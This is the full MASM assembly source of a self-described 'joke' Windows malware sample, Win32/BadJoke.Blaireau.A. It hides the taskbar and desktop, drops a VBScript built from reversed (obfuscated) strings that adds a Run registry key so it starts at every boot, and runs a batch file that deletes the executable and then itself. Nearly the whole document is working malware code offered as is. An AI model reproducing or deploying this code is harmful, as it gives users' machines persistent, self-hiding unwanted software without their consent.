Win32/BadJoke.Blaireau.A

; Name: Win32/BadJoke.Blaireau.A
; Code: Xylitol - xylitol☆temari.fr
; Size: 3Kb - 4b4726c7a9126b151d177f7c789f90bd
; Test: Windows XP SP3
; Date: 16/06/2014
; Desc: Hide the taskbar drop a VBS and auto-destruct
; This source is considered dangerous although this will not harm your computer.
; This was done for fun and entertainment purposes only.

;MAKE.BAT:
;@echo off
;set path=\masm32\bin
;set lib=\masm32\lib
;set name=Blaireau
;set rsrc=rsrc
;ml.exe /c /coff "%name%".asm
;link.exe /SUBSYSTEM:WINDOWS /opt:nowin98 /LIBPATH:"%lib%" "%name%".obj
;del *.OBJ
;pause
;@echo on
;cls

; #########################################################################

      .386
      .model flat, stdcall
      option casemap :none   ; case sensitive

; #########################################################################

      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\include\shell32.inc
      include \masm32\macros\macros.asm

      includelib \masm32\lib\shell32.lib
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib

; #########################################################################

.data?
szlen       dd      ?
szReversed  db      512 dup(?)
tmpFilePath     db      512 dup(?)
payload     db      512 dup(?)

.data
shell       db "Shell_TrayWnd",0
explorer    db "Progman",0
Filename    db "Blaireau.vbs",0
Filename2   db "Blaireau.bat",0

payload1    db " tpircsw",022h,",",022h,"kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKH",022h," etirWgeR.tideger",13,10
        db ")",022h,"llehS.tpircSW",022h,"(tcejbOetaerC = tideger teS",13,10
        db ")1(redloFlaicepSteG.osf = metsysrid teS",13,10
        db "txeN emuseR rorrE nO",13,10
        db ")",022h,"tcejbOmetsySeliF.gnitpircS",022h,"(tcejbOetaerC = osf teS",13,10
        db "metsysrid ,osf miD",0

payload2    db 022h,"ékiN T",022h," xobgsM",13,10
            db 022h,0

melt        db ":repeat",13,10
        db "if not exist ",022h,"blaireau.exe",022h," goto exit",13,10
        db "attrib -R -S -H ",022h,"blaireau.exe",022h,13,10
        db "erase ",022h,"blaireau.exe",13,10
        db "goto repeat",13,10
        db ":exit",13,10
        db "attrib -R -S -H ",022h,"Blaireau.bat",022h,13,10
        db "erase ",022h,"Blaireau.bat",022h,0

.code
start:
        invoke GetTempPath, 255,addr tmpFilePath
        invoke lstrcat,addr tmpFilePath,addr Filename

        invoke lstrlen, addr tmpFilePath
        mov ecx,eax
        mov esi, offset tmpFilePath
        call lstrrev

        invoke lstrcpy,addr payload,addr payload2
        invoke lstrcat,addr payload,addr szReversed
        invoke lstrcat,addr payload,addr payload1

DlgProc proc
        hWin    :DWORD,
        uMsg    :DWORD,
        wParam  :DWORD,
        lParam  :DWORD
    LOCAL   hFile   :DWORD,
        NumBytes:DWORD

invoke FindWindow,addr shell,NULL ;  Get handle first then hide it.
.if eax != 0
    invoke ShowWindow,eax,SW_HIDE ; use SW_SHOW to show it again
.endif
invoke FindWindow,addr explorer,NULL
.if eax != 0
invoke ShowWindow,eax,SW_HIDE
.endif

        invoke lstrlen, addr payload
        mov ecx,eax
        mov esi, offset payload
        call lstrrev

        invoke lstrlen,addr szReversed
        mov szlen,eax

        invoke CreateFile,addr tmpFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
        mov hFile,eax
        invoke WriteFile, hFile,addr szReversed, szlen, addr NumBytes, NULL

        invoke CloseHandle,hFile
        mov szlen,0

        invoke lstrlen,addr melt
        mov szlen,eax

        invoke CreateFile,addr Filename2,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
        mov hFile,eax
        invoke WriteFile, hFile,addr melt, szlen, addr NumBytes, NULL
        invoke CloseHandle,hFile
        mov szlen,0

        invoke ShellExecute,hWin,chr$("open"),addr tmpFilePath,NULL,NULL,SW_SHOWNORMAL
        invoke ShellExecute,hWin,chr$("open"),addr Filename2,NULL,NULL,SW_HIDE
        push 0
        call ExitProcess

DlgProc endp

lstrrev proc
    lea edi, offset szReversed
    xor ebx, ebx
        Reversor:
            mov al, byte ptr[esi+ecx-1]
            mov byte ptr[edi+ebx], al
            inc ebx
            dec ecx
        jnz Reversor
            mov byte ptr[edi+ebx], 0
    Ret
lstrrev endp

end start